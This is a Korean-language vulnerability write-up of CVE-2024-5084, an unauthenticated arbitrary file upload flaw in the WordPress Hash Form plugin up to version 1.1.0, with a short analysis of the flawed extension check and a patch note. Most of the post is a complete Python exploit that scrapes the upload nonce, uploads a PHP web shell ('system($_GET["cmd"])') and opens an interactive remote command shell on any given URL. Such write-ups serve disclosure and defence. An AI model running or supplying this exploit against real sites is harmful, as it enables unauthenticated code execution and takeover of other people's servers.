Post

[CVE-2024-5084] 취약점 분석 보고서

Hash Form Plugin의 1.1.0 버전 이하에서 발생하는 파일 업로드 및 원격 코드 실행 취약점

개요

Hash Form 플러그인 1.1.0 이하 버전에서 인증되지 않은 파일 업로드가 허용되어 RCE 취약점이 발생합니다.

분석

취약점은 HashFormBuilder.php 파일의 file_upload_action() 함수에서 발생합니다.

image.png

해당 플러그인 file upload 기능에서 기본적으로 허용하는 확장자입니다.

image.png

get_var(’allowedExtensions’)는 클라이언트에서 전달된 값입니다.

file_upload_action함수에서 클라이언트가 전달한 확장자를 검증 없이 무조건 신뢰하기 때문에 취약점이 발생합니다.

이렇게 전달된 파일의 확장자와 파일 크기를 HashFormFileUploader 객체로 전달합니다.

image.png 해당 객체에 unallowed_extensions 변수가 정의되어 있지만 사용되지 않습니다. get_allowed_mime_types()함수로 파일 확장자와 mime type을 가져오고, 전달받은 확장자와 비교해 allowedExtensions에 추가합니다. php는 get_allowed_mime_types에 포함되어 있고, 결국 allowedExtensions에 추가되어 php 파일을 업로드할 수 있게 됩니다.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
import re
import sys
import json
import requests
import rich_click as click

from typing import Optional
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from requests.exceptions import RequestException
from prompt_toolkit.history import InMemoryHistory

requests.packages.urllib3.disable_warnings()

class HashForms:
    """
    A class to interact with a WordPress site using the Hash Form plugin, demonstrating
    exploitation of CVE-2024-5084: Unauthenticated Arbitrary File Upload leading to Remote Code Execution.
    """

    def __init__(self, base_url: str):
        """
        Initializes the HashForms instance with the base URL of the WordPress site.
        """
        self.base_url = base_url

    def get_nonce(self) -> Optional[str]:
        """
        Retrieves the nonce required for file upload from the WordPress site.
        """
        try:
            response = requests.get(self.base_url, verify=False)
            response.raise_for_status()
            return re.search(r'"ajax_nounce":"(\w+)"', response.text).group(1)
        except RequestException as e:
            self.custom_print(f"Connection error: {e}", "-")
        except AttributeError:
            self.custom_print("Nonce not found in the response.", "-")
        return None

    def upload_php_file(
        self, nonce: str, file_content: str, file_name: str = "pwny.php"
    ) -> Optional[str]:
        """
        Attempts to upload a PHP file using the obtained nonce.
        """
        full_url = f"{self.base_url}/wp-admin/admin-ajax.php"
        headers = {
            "User-Agent": "Mozilla/5.0 (Linux; rv:124.0)",
            "Content-Length": str(len(file_content)),
        }
        params = {
            "action": "hashform_file_upload_action",
            "file_uploader_nonce": nonce,
            "allowedExtensions[0]": "php",
            "sizeLimit": 1048576,
            "qqfile": file_name,
        }

        try:
            response = requests.post(
                full_url,
                headers=headers,
                params=params,
                data=file_content,
                verify=False,
            )
            response.raise_for_status()
            response_json = response.json()
            if response_json.get("success"):
                self.custom_print(
                    f"File uploaded successfully; system vulnerable to CVE-2024-5084.",
                    "+",
                )
                return response_json["url"]
            self.custom_print("Upload failed; server did not return success.", "-")
        except RequestException as e:
            self.custom_print(f"Upload failed: {e}", "-")
        return None

    def interactive_shell(self, url: str):
        """
        Launches an interactive shell to communicate with the uploaded PHP file for command execution.
        """
        session = PromptSession(history=InMemoryHistory())
        while True:
            cmd = session.prompt(
                HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
            ).strip()
            if cmd.lower() == "exit":
                break
            if cmd.lower() == "clear":
                sys.stdout.write("\x1b[2J\x1b[H")
                continue

            response = self.fetch_response(url, cmd)
            if response:
                self.custom_print(f"Result:\n\n{response}", "*")
            else:
                self.custom_print("Failed to receive response from the server.", "-")

    def fetch_response(self, url: str, cmd: str) -> Optional[str]:
        """
        Sends a command to the remote PHP file and fetches the output.
        """
        try:
            response = requests.get(f"{url}?cmd={cmd}", verify=False)
            response.raise_for_status()
            return response.text
        except RequestException:
            self.custom_print("Error communicating with the remote server.", "-")
        return None

    def custom_print(self, message: str, header: str) -> None:
        """
        Prints a message with a colored header to indicate the message type.
        """
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        header_color = header_colors.get(header, "white")
        formatted_message = click.style(
            f"[{header}] ", fg=header_color, bold=True
        ) + click.style(f"{message}", bold=True, fg="white")
        click.echo(formatted_message)

if __name__ == "__main__":

    @click.command()
    @click.option(
        "-u", "--url", type=str, required=True, help="Base URL of the WordPress site"
    )
    def main(url: str):
        hash_forms = HashForms(url)
        nonce = hash_forms.get_nonce()
        if nonce:
            file_url = hash_forms.upload_php_file(
                nonce, '<?php system($_GET["cmd"]); ?>'
            )
            if file_url:
                hash_forms.custom_print(
                    f"File uploaded to: {file_url}. Interactive shell available.", "+"
                )
                hash_forms.interactive_shell(file_url)
            else:
                hash_forms.custom_print("Upload failed;", "-")
        else:
            hash_forms.custom_print("Nonce not found, unable to attempt upload.", "-")

    main()

image.png

패치

image.png

file_upload_action 함수에 기본 허용 확장자를 추가해 비교하는 코드를 추가했습니다.

reference: https://github.com/Chocapikk/CVE-2024-5084/tree/main

This post is licensed under CC BY 4.0 by the author.